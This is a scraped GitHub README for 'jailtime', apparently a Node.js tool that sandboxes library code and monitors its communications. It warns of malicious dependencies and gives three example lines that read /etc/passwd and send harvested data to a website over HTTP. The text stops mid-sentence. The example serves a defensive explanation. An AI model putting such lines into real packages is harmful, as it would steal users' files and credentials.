vjeux / jailtime

Put your node code in jail and monitor all its communications

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

jailtime

The node ecosystem is amazing because it's very likely that there's already a lib out there that does what you want. However, it should also pretty scary to install such library because you're going to run arbitrary code with your user priviledges. Node lets you read arbitrary files, execute arbitrary external processes and connect to the internet.

For example, one could read the password files off your computer and send it to a website:

require('fs').readFileSync('/etc/passwd', 'utf8');
require('child_process').execSync('cat /etc/passwd').toString();
require('http').get('http://vjeux.com/?harvest=' + getPassword());

Unfortunately it's

About

Put your node code in jail and monitor all its communications

License:MIT License


Languages

Language:JavaScript 100.0%